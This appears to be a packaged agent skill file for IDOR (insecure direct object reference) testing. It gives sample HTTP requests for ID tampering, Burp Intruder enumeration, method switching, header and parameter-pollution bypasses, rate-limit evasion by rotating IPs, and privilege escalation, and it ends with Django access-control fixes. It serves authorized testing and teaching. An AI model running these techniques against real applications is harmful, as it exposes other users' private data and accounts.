IDOR Vulnerability Testing

Overview

This public intake copy packages

plugins/antigravity-awesome-skills-claude/skills/idor-testing

https://github.com/sickn33/antigravity-awesome-skills

Use it when the operator needs the upstream workflow, support files, and repository context to stay intact while the public validator and private enhancer continue their normal downstream flow.

This intake keeps the copied upstream files intact and uses

metadata.json

ORIGIN.md

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # IDOR Vulnerability Testing

Imported source sections that did not map cleanly to the public headings are still preserved below or in the support files. Notable imported sections: Purpose, Inputs / Prerequisites, Outputs / Deliverables, Constraints and Limitations, Remediation Guidance.

When to Use This Skill

Use this section as the trigger filter. It should make the activation boundary explicit before the operator loads files, runs commands, or opens a pull request.

• This skill is applicable to execute the workflow or actions described in the overview.
• Use when the request clearly matches the imported source intent: Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications.
• Use when the operator should preserve upstream workflow detail instead of rewriting the process from scratch.
• Use when provenance needs to stay visible in the answer, PR, or review packet.
• Use when copied upstream references, examples, or scripts materially improve the answer.
• Use when the workflow should remain reviewable in the public intake repo before the private enhancer takes over.

Operating Table

metadata.json

ORIGIN.md

SKILL.md

SKILL.md

## Related Skills

Workflow

This workflow is intentionally editorial and operational at the same time. It keeps the imported source useful to the operator while still satisfying the public intake standards that feed the downstream enhancer flow.

1. Numeric IDs in URLs: /api/user/123
2. Numeric IDs in parameters: ?id=123&action=view
3. Numeric IDs in request body: {"userId": 123}
4. File paths: /download/receipt_123.pdf
5. GUIDs/UUIDs: /profile/a1b2c3d4-e5f6-...
6. Configure browser proxy through Burp Suite
7. Login as "attacker" user

Imported Workflow Notes

Imported: Core Workflow

1. Understand IDOR Vulnerability Types

Direct Reference to Database Objects

Occurs when applications reference database records via user-controllable parameters:

# Original URL (authenticated as User A)
example.com/user/profile?id=2023

# Manipulation attempt (accessing User B's data)
example.com/user/profile?id=2022

Direct Reference to Static Files

Occurs when applications expose file paths or names that can be enumerated:

# Original URL (User A's receipt)
example.com/static/receipt/205.pdf

# Manipulation attempt (User B's receipt)
example.com/static/receipt/200.pdf

2. Reconnaissance and Setup

Create Multiple Test Accounts

Account 1: "attacker" - Primary testing account
Account 2: "victim" - Account whose data we attempt to access

Identify Object References

Capture and analyze requests containing:

• Numeric IDs in URLs:

  /api/user/123

• Numeric IDs in parameters:

  ?id=123&action=view

• Numeric IDs in request body:

  {"userId": 123}

• File paths:

  /download/receipt_123.pdf

• GUIDs/UUIDs:

  /profile/a1b2c3d4-e5f6-...

Map User IDs

# Access user ID endpoint (if available)
GET /api/user-id/

# Note ID patterns:
# - Sequential integers (1, 2, 3...)
# - Auto-incremented values
# - Predictable patterns

3. Detection Techniques

URL Parameter Manipulation

# Step 1: Capture original authenticated request
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session

# Step 2: Modify ID to target another user
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session

# Vulnerable if: Returns victim's data with attacker's session

Request Body Manipulation

# Original POST request
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session

{"id": 5, "userId": 1001, "address": "123 Attacker St"}

# Modified request targeting victim
{"id": 5, "userId": 1000, "address": "123 Attacker St"}

HTTP Method Switching

# Original GET request may be protected
GET /api/admin/users/1000 → 403 Forbidden

# Try alternative methods
POST /api/admin/users/1000 → 200 OK (Vulnerable!)
PUT /api/admin/users/1000 → 200 OK (Vulnerable!)

4. Exploitation with Burp Suite

Manual Exploitation

1. Configure browser proxy through Burp Suite
2. Login as "attacker" user
3. Navigate to profile/data page
4. Enable Intercept in Proxy tab
5. Capture request with user ID
6. Modify ID to victim's ID
7. Forward request
8. Observe response for victim's data

Automated Enumeration with Intruder

1. Send request to Intruder (Ctrl+I)
2. Clear all payload positions
3. Select ID parameter as payload position
4. Configure attack type: Sniper
5. Payload settings:
   - Type: Numbers
   - Range: 1 to 10000
   - Step: 1
6. Start attack
7. Analyze responses for 200 status codes

Battering Ram Attack for Multiple Positions

# When same ID appears in multiple locations
PUT /api/addresses/§5§/update HTTP/1.1

{"id": §5§, "userId": 3}

Attack Type: Battering Ram
Payload: Numbers 1-1000

5. Common IDOR Locations

API Endpoints

/api/user/{id}
/api/profile/{id}
/api/order/{id}
/api/invoice/{id}
/api/document/{id}
/api/message/{id}
/api/address/{id}/update
/api/address/{id}/delete

File Downloads

/download/invoice_{id}.pdf
/static/receipts/{id}.pdf
/uploads/documents/{filename}
/files/reports/report_{date}_{id}.xlsx

Query Parameters

?userId=123
?orderId=456
?documentId=789
?file=report_123.pdf
?account=user@email.com

Imported: Purpose

Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. This skill covers both database object references and static file references, detection techniques using parameter manipulation and enumeration, exploitation via Burp Suite, and remediation strategies for securing applications against unauthorized access.

Examples

Example 1: Ask for the upstream workflow directly

Use @idor-testing to handle <task>. Start from the copied upstream workflow, load only the files that change the outcome, and keep provenance visible in the answer.

Explanation: This is the safest starting point when the operator needs the imported workflow, but not the entire repository.

Example 2: Ask for a provenance-grounded review

Review @idor-testing against metadata.json and ORIGIN.md, then explain which copied upstream files you would load first and why.

Explanation: Use this before review or troubleshooting when you need a precise, auditable explanation of origin and file selection.

Example 3: Narrow the copied support files before execution

Use @idor-testing for <task>. Load only the copied references, examples, or scripts that change the outcome, and name the files explicitly before proceeding.

Explanation: This keeps the skill aligned with progressive disclosure instead of loading the whole copied package by default.

Example 4: Build a reviewer packet

Review @idor-testing using the copied upstream files plus provenance, then summarize any gaps before merge.

Explanation: This is useful when the PR is waiting for human review and you want a repeatable audit packet.

Imported Usage Notes

Imported: Examples

Example 1: Basic ID Parameter IDOR

# Login as attacker (userId=1001)
# Navigate to profile page

# Original request
GET /api/profile?id=1001 HTTP/1.1
Cookie: session=abc123

# Response: Attacker's profile data

# Modified request (targeting victim userId=1000)
GET /api/profile?id=1000 HTTP/1.1
Cookie: session=abc123

# Vulnerable Response: Victim's profile data returned!

Example 2: IDOR in Address Update Endpoint

# Intercept address update request
PUT /api/addresses/5/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session

{
  "id": 5,
  "userId": 1001,
  "street": "123 Main St",
  "city": "Test City"
}

# Modify userId to victim's ID
{
  "id": 5,
  "userId": 1000,  # Changed from 1001
  "street": "Hacked Address",
  "city": "Exploit City"
}

# If 200 OK: Address created under victim's account

Example 3: Static File IDOR

# Download own receipt
GET /api/download/5 HTTP/1.1
Cookie: session=attacker_session

# Response: PDF of attacker's receipt (order #5)

# Attempt to access other receipts
GET /api/download/3 HTTP/1.1
Cookie: session=attacker_session

# Vulnerable Response: PDF of victim's receipt (order #3)!

Example 4: Burp Intruder Enumeration

# Configure Intruder attack
Target: PUT /api/addresses/§1§/update
Payload Position: Address ID in URL and body

Attack Configuration:
- Type: Battering Ram
- Payload: Numbers 0-20, Step 1

Body Template:
{
  "id": §1§,
  "userId": 3
}

# Analyze results:
# - 200 responses indicate successful modification
# - Check victim's account for new addresses

Example 5: Horizontal to Vertical Escalation

# Step 1: Enumerate user roles
GET /api/user/1 → {"role": "user", "id": 1}
GET /api/user/2 → {"role": "user", "id": 2}
GET /api/user/3 → {"role": "admin", "id": 3}

# Step 2: Access admin functions with discovered ID
GET /api/admin/dashboard?userId=3 HTTP/1.1
Cookie: session=regular_user_session

# If accessible: Vertical privilege escalation achieved

Best Practices

Treat the generated public skill as a reviewable packaging layer around the upstream repository. The goal is to keep provenance explicit and load only the copied source material that materially improves execution.

• Keep the imported skill grounded in the upstream repository; do not invent steps that the source material cannot support.
• Prefer the smallest useful set of support files so the workflow stays auditable and fast to review.
• Keep provenance, source commit, and imported file paths visible in notes and PR descriptions.
• Point directly at the copied upstream files that justify the workflow instead of relying on generic review boilerplate.
• Treat generated examples as scaffolding; adapt them to the concrete task before execution.
• Route to a stronger native skill when architecture, debugging, design, or security concerns become dominant.

Troubleshooting

Problem: The operator skipped the imported context and answered too generically

Symptoms: The result ignores the upstream workflow in

plugins/antigravity-awesome-skills-claude/skills/idor-testing

metadata.json

ORIGIN.md

Problem: The imported workflow feels incomplete during review

Symptoms: Reviewers can see the generated

SKILL.md

Problem: The task drifted into a different specialization

Symptoms: The imported skill starts in the right place, but the work turns into debugging, architecture, design, security, or release orchestration that a native skill handles better. Solution: Use the related skills section to hand off deliberately. Keep the imported provenance visible so the next skill inherits the right context instead of starting blind.

Imported Troubleshooting Notes

Imported: Troubleshooting

Issue: All Requests Return 403 Forbidden

Cause: Server-side access control is implemented Solution:

# Try alternative attack vectors:
1. HTTP method switching (GET → POST → PUT)
2. Add X-Original-URL or X-Rewrite-URL headers
3. Try parameter pollution: ?id=1001&id=1000
4. URL encoding variations: %31%30%30%30 for "1000"
5. Case variations for string IDs

Issue: Application Uses UUIDs Instead of Sequential IDs

Cause: Randomized identifiers reduce enumeration risk Solution:

# UUID discovery techniques:
1. Check response bodies for leaked UUIDs
2. Search JavaScript files for hardcoded UUIDs
3. Check API responses that list multiple objects
4. Look for UUID patterns in error messages
5. Try UUID v1 (time-based) prediction if applicable

Issue: Session Token Bound to User

Cause: Application validates session against requested resource Solution:

# Advanced bypass attempts:
1. Test for IDOR in unauthenticated endpoints
2. Check password reset/email verification flows
3. Look for IDOR in file upload/download
4. Test API versioning: /api/v1/ vs /api/v2/
5. Check mobile API endpoints (often less protected)

Issue: Rate Limiting Blocks Enumeration

Cause: Application implements request throttling Solution:

# Bypass techniques:
1. Add delays between requests (Burp Intruder throttle)
2. Rotate IP addresses (proxy chains)
3. Target specific high-value IDs instead of full range
4. Use different endpoints for same resources
5. Test during off-peak hours

Issue: Cannot Verify IDOR Impact

Cause: Response doesn't clearly indicate data ownership Solution:

# Verification methods:
1. Create unique identifiable data in victim account
2. Look for PII markers (name, email) in responses
3. Compare response lengths between users
4. Check for timing differences in responses
5. Use secondary indicators (creation dates, metadata)

Related Skills

• @github-issue-creator

  - Use when the work is better handled by that native specialization after this imported skill establishes context.

• @github-workflow-automation

  - Use when the work is better handled by that native specialization after this imported skill establishes context.

• @gitlab-automation

  - Use when the work is better handled by that native specialization after this imported skill establishes context.

• @gitlab-ci-patterns

  - Use when the work is better handled by that native specialization after this imported skill establishes context.

Additional Resources

Use this support matrix and the linked files below as the operator packet for this imported skill. They should reflect real copied source material, not generic scaffolding.

references

references/n/a

examples

examples/n/a

scripts

scripts/n/a

agents

agents/n/a

assets

assets/n/a

Imported Reference Notes

Imported: Quick Reference

IDOR Testing Checklist

id=5

id=4

id=-1

id=0

id=99999999

id=user_123

Response Analysis

Common Vulnerable Parameters

userId

uid

user_id

account

id

pid

docId

fileId

orderId

transactionId

invoiceId

messageId

threadId

chatId

filename

file

document

path

Imported: Inputs / Prerequisites

• Target Web Application: URL of application with user-specific resources
• Multiple User Accounts: At least two test accounts to verify cross-user access
• Burp Suite or Proxy Tool: Intercepting proxy for request manipulation
• Authorization: Written permission for security testing
• Understanding of Application Flow: Knowledge of how objects are referenced (IDs, filenames)

Imported: Outputs / Deliverables

• IDOR Vulnerability Report: Documentation of discovered access control bypasses
• Proof of Concept: Evidence of unauthorized data access across user contexts
• Affected Endpoints: List of vulnerable API endpoints and parameters
• Impact Assessment: Classification of data exposure severity
• Remediation Recommendations: Specific fixes for identified vulnerabilities

Imported: Constraints and Limitations

Operational Boundaries

• Requires at least two valid user accounts for verification
• Some applications use session-bound tokens instead of IDs
• GUID/UUID references harder to enumerate but not impossible
• Rate limiting may restrict enumeration attempts
• Some IDOR requires chained vulnerabilities to exploit

Detection Challenges

• Horizontal privilege escalation (user-to-user) vs vertical (user-to-admin)
• Blind IDOR where response doesn't confirm access
• Time-based IDOR in asynchronous operations
• IDOR in websocket communications

Legal Requirements

• Only test applications with explicit authorization
• Document all testing activities and findings
• Do not access, modify, or exfiltrate real user data
• Report findings through proper disclosure channels

Imported: Remediation Guidance

Implement Proper Access Control

# Django example - validate ownership
def update_address(request, address_id):
    address = Address.objects.get(id=address_id)
    
    # Verify ownership before allowing update
    if address.user != request.user:
        return HttpResponseForbidden("Unauthorized")
    
    # Proceed with update
    address.update(request.data)

Use Indirect References

# Instead of: /api/address/123
# Use: /api/address/current-user/billing

def get_address(request):
    # Always filter by authenticated user
    address = Address.objects.filter(user=request.user).first()
    return address

Server-Side Validation

# Always validate on server, never trust client input
def download_receipt(request, receipt_id):
    receipt = Receipt.objects.filter(
        id=receipt_id,
        user=request.user  # Critical: filter by current user
    ).first()
    
    if not receipt:
        return HttpResponseNotFound()
    
    return FileResponse(receipt.file)